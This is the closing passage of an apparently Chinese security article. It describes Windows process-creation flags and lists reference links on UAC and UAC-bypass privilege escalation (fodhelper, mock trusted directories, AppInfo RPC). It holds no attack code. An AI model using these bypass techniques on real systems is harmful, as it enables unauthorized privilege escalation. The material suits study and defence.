DEBUG_PROCESS(0x00000001):调用线程启动并调试新进程和新进程创建的所有子进程,可以使用 WaitForDebugEvent 函数接收所有相关的调试事件
CREATE_SUSPENDED(0x00000004):新进程的主线程以挂起状态创建,直到调用 ResumeThread函数才运行
CREATE_UNICODE_ENVIRONMENT(0x00000400):lpEnvironment 指向的环境块使用 Unicode 字符
EXTENDED_STARTUPINFO_PRESENT(0x00080000):该进程需要使用扩展启动信息创建,通过 lpStartupInfo 参数指定 STARTUPINFOEX 结构
https://blog.csdn.net/WPwalter/article/details/89838881
https://blog.walterlv.com/post/windows-user-account-control.html
https://blog.walterlv.com/post/requested-execution-level-of-application-manifest
https://medium.themayor.tech/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
http://blog.nsfocus.net/appinfo-rpc-uac-bypass/
看雪ID:蝶澈——
https://bbs.pediy.com/user-home-701197.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!